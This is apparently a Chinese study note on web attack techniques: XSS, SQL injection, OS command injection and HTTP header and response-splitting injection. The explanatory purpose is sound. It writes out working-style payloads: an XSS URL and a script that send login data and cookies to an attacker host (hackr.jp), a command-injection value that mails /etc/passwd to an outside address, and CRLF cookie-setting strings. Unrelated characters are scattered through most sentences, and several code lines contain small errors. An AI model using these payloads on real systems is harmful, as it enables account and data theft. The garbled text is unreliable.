一语婴、針對Web的攻擊技術
1.HTTP不具備必要的安全功能
2.在客戶端即可篡改請求
在web應用中淫奔,從瀏覽器那里接受到的HTTP請求的全部內(nèi)容贱纠,都可以在客戶端自由地變更皆看、篡改偏陪。所以Web用用可能會接受到與預期數(shù)據(jù)不相同的內(nèi)容策菜。
在HTTP請求報文內(nèi)加載攻擊代碼劣光,就能發(fā)起對Web應用的攻擊亭引。通過URL查詢字段或表單贞岭、HTTP首部八毯、Cookie等途徑把攻擊代碼傳入,若這時Web應用存在安全漏洞瞄桨,那內(nèi)部信息就會遭到竊取话速,或被攻擊者拿到權限。
3.針對Web應用的攻擊模式
對Web應用的攻擊模式有兩種:
主動攻擊
被動攻擊
以服務器為目標的主動攻擊
主動攻擊(active attack)是指攻擊者通過直接訪問Web應用芯侥,把攻擊代碼傳入的攻擊模式泊交。由于該模式是直接針對服務器上的資源進行攻擊,因此攻擊者需要能夠訪問到那些資源
主動攻擊模式里具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊柱查。
以服務器為目標的被動攻擊
被動攻擊(passive attack)是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式廓俭。在被動攻擊過程中,攻擊者不直接對目標Web應用訪問發(fā)起攻擊唉工。
被動攻擊通常的攻擊模式如下
攻擊者誘使用戶觸發(fā)已設置好的陷阱研乒,而陷阱會啟動發(fā)送已嵌入攻擊代碼的HTTP請求。
當用戶不知不覺中招之后淋硝,用戶的瀏覽器或郵件客戶端就會觸發(fā)這個陷阱雹熬。
中招后的用戶瀏覽器會把含有攻擊代碼的HTTP請求發(fā)送給作為攻擊目標Web應用宽菜,運行攻擊代碼。
執(zhí)行完攻擊代碼竿报,存在安全漏洞的Web應用會成為攻擊者的跳板铅乡,可能導致用戶所持有的Cookie等個人信息被竊取,登錄狀態(tài)中的用戶權限遭惡意濫用等后果仰楚。
被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造
二隆判、因輸出轉(zhuǎn)義不完全引發(fā)的安全漏洞
實施Web應用的安全對策大致分為以下兩部分。
客戶端的驗證
-
Web應用端(服務器端)的驗證
輸入值驗證
輸出值驗證
1 跨站腳本攻擊
跨站腳本攻擊(Cross-Site Scripting僧界, XSS)是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)存運行非法的HTML標簽或者JavaScript進行的一種攻擊侨嘀。動態(tài)創(chuàng)建的HTML代碼部分可能隱藏這安全漏洞。就這樣攻擊者編寫腳本設下陷阱捂襟,用戶在自己的瀏覽器上運行時咬腕,就會收到被動攻擊。
跨站腳本攻擊有可能造成以下影響:
利用虛假輸入表單騙取用戶信息
利用腳本竊取用戶的Cookie葬荷,被害者在不知情的情況下涨共,幫助攻擊者發(fā)送惡意請求
顯示偽造的文章或圖片
1.1 跨站腳本攻擊案例:
在表單輸入框中嵌入<script>標簽
XSS是攻擊者利用預先設置的陷阱觸發(fā)的被動攻擊
例如:
有url為:http://example.com/login?id=******
充分熟知此處漏洞特點的攻擊者,會創(chuàng)建嵌入惡意代碼的URI宠漩。并隱藏植入事先準備好的欺詐郵件中举反,誘導用戶點擊該URL
```
http://example.com/login?id="<script>var+f=document.getElementById("lgin");f.action="http://hackr.jp/pwget";+f.methend="get";</script><span+s="
```
瀏覽器打開該URI后,直觀沒有發(fā)生任何變化扒吁,但設置的腳本開始偷偷運行火鼻,當用戶在表單輸入用戶名、密碼后雕崩,就會發(fā)送到攻擊者的網(wǎng)站(http://hackr.jp)魁索,導致個人登錄信息被竊取。
1.2 對用戶Cookie的竊取攻擊
除了在表單中設下圈套之外盼铁,下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式粗蔚,竊取到用戶的Cookie信息。
`<script src=http://hackr.jp/xss.js></script>`
該腳本內(nèi)指定的http://hackr/xss.js文件饶火。即下面這段采用JavaScript編寫的代碼
```
var content = escape(document.cookie)
document.write('<img src=http://harkr.jp/?>')
document.write(content)
document.write('>')
```
在存在可跨站腳本攻擊安全漏洞的Web應用上執(zhí)行上面代碼鹏控,即可訪問該Web應用所處域名下的Cookie信息。然后這些信息會發(fā)送至攻擊者的Web網(wǎng)站(http://hackr.jp/)肤寝,記錄在登錄日志中当辐。然后就可以竊取到用戶的Cookie信息
2 SQL注入攻擊
SQL注入(SQL Injection)是指針對Web應用使用的數(shù)據(jù)庫,通過運行非法的SQL而產(chǎn)生的攻擊醒陆,該安全隱患有可能引發(fā)極大的威脅瀑构,有時會直接導致個人信息及機密信息的泄露。
Web應用通常都會用到數(shù)據(jù)庫,當需要對數(shù)據(jù)庫表內(nèi)的數(shù)據(jù)進行檢索或添加寺晌、刪除等操作時世吨,會使用SQL語句連接數(shù)據(jù)庫進行特定的操作。如果在調(diào)用SQL語句的方式上存在疏漏呻征,就有可能執(zhí)行被惡意注入非法SQL語句耘婚。
SQL注入攻擊有可能會造成以下等影響。
非法查看或篡改數(shù)據(jù)庫的數(shù)據(jù)
規(guī)避認證
執(zhí)行和數(shù)據(jù)庫服務器業(yè)務關聯(lián)的程序等
2.1 SQL注入攻擊案例
如果有一個搜索URI為:http://example.com/search?q=西紅柿陆赋,則可以在數(shù)據(jù)庫中查找author為西紅柿的在售書籍信息沐祷。
當攻擊者把西紅柿的查詢字段改為"西紅柿'--'"
則會查出西紅柿的所有數(shù)據(jù)數(shù)據(jù)信息(-- 之后全視為注釋)
2.2 SQL注攻擊破壞SQL數(shù)據(jù)結構
SQL注入是攻擊者講SQL語句改變成開發(fā)者意想不到的形式以達到破壞結構的攻擊。
比如:在上述案例中攒岛,把author的字面值"西紅柿'--'"的字符串復制給$q
SELECT * FROM bookTab WHERE auther = '$q' and flag = 1
SELECT * FROM bookTab WHERE auther = <u>'西紅柿</u>'--' and flag = 1
可以把所有數(shù)據(jù)信息赖临,甚至用戶信息等重要信息得到或者篡改
3 OS命令注入攻擊
OS命令注入攻擊(OS Command Injection)是指通過Web應用,執(zhí)行非法的系統(tǒng)操作命令以達到攻擊的目的灾锯。只要能調(diào)用Shell函數(shù)的地方就有可能被攻擊兢榨。
OS命令注入攻擊可以向Shell發(fā)送命令,讓Windows或Linux操作系統(tǒng)的命令啟動程序顺饮。通過OS注入攻擊可以執(zhí)行OS上安裝著的各種程序吵聪。
3.1 OS注入攻擊案例
如,有咨詢表單兼雄,郵件地址吟逝,郵件內(nèi)容。該功能可將用戶信息的咨詢郵件按已填寫的對方的郵件地址發(fā)送
如果有一下代碼
my $adr = $q->param('mailaddress');
open(MALL, "| /usr/sbin/sendmail $adr");
print MALL "From: info@example.com\n"
程序中的open函數(shù)會調(diào)用sendmail命令發(fā)送郵件赦肋,而指定的郵件發(fā)送地址即$adr
的值块攒。
攻擊者則會將下面的值作為郵件地址。
;cat /etc/passwd | mail hack@example.com
程序接收該值金砍,構成以下的命令組合局蚀。
| /usr/sbin/sedmail; cat /etc/passwd | mail hack@example.com
攻擊者命令中的(;)會在OS中被分解為多個執(zhí)行命令的標記麦锯。
可見恕稠,sendmail命令被執(zhí)行分隔后,接下來會執(zhí)行 cat /etc/passwd | mail hack@example.com
扶欣。那么還有Linux賬戶信息的文件就會以郵件形式發(fā)送到hack@example.com鹅巍。
4 HTTP首部注入攻擊
HTTP首部注入攻擊(HTTP Header Injection)是指攻擊者通過在響應首部字段內(nèi)插入換行,添加任意響應首部或者主體的一種攻擊料祠。屬于被動攻擊骆捧。
向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應截斷攻擊( HTTP Response Splitting Attack)
如下,Web應用會把從外部接收到的數(shù)值髓绽,賦給響應首部字段的Location和Set-Cookie敛苇。
```
location: http:..www.example.com/a.cgi?q=12345
Set_cookie: UID=123456
```
其中 12345 為插入值。
HTTP首部注入攻擊可能像這樣顺呕,通過某些響應首部字段需要處理輸出值的地方枫攀,插入換行發(fā)動攻擊括饶。
HTTP首部注入攻擊有可能會造成以下一些影響。
設置任何Cookie信息
重定向到任意URL
顯示任意的主體(HTTP響應截斷攻擊)
4.1 HTTP首部注入攻擊案例
例如来涨,某網(wǎng)站有分類信息:書籍(id:101)图焰、音樂(id:102)、游戲(id:103)
假設有一個功能蹦掐,選擇對應的分類技羔。將會根據(jù)對應的ID反映在響應的Location首部字段內(nèi)。如:Location: http://example.com/?cat=101
卧抗。使瀏覽器發(fā)生重定向跳轉(zhuǎn)藤滥。
那么,攻擊者用101%0D%0ASet-Cookie:+SID=123456789
代替之前對應的ID后發(fā)送請求社裆。
其中超陆,%0D%0A代表HTTP報文中的換行符,緊接著是可強制將攻擊者網(wǎng)站的回話ID設置成SID=123456789的Set-Cookie首部字段浦马。
攻擊者可以指定修改任意的Cookie信息时呀,通過和會話固定攻擊,攻擊者偽裝成用戶晶默。
4.2 HTTP響應截斷攻擊
HTTP響應截斷攻擊是用在HTTP首部注入的一種攻擊谨娜,攻擊順序相同,但是講兩個%0D%0A%0D%0A并排插入字符串后磺陡。利用兩個聯(lián)系的換行就可以做出HTTP首部與主體分隔所需要的空行趴梢,然后就可以插入偽造的主體,打到攻擊的目的币他。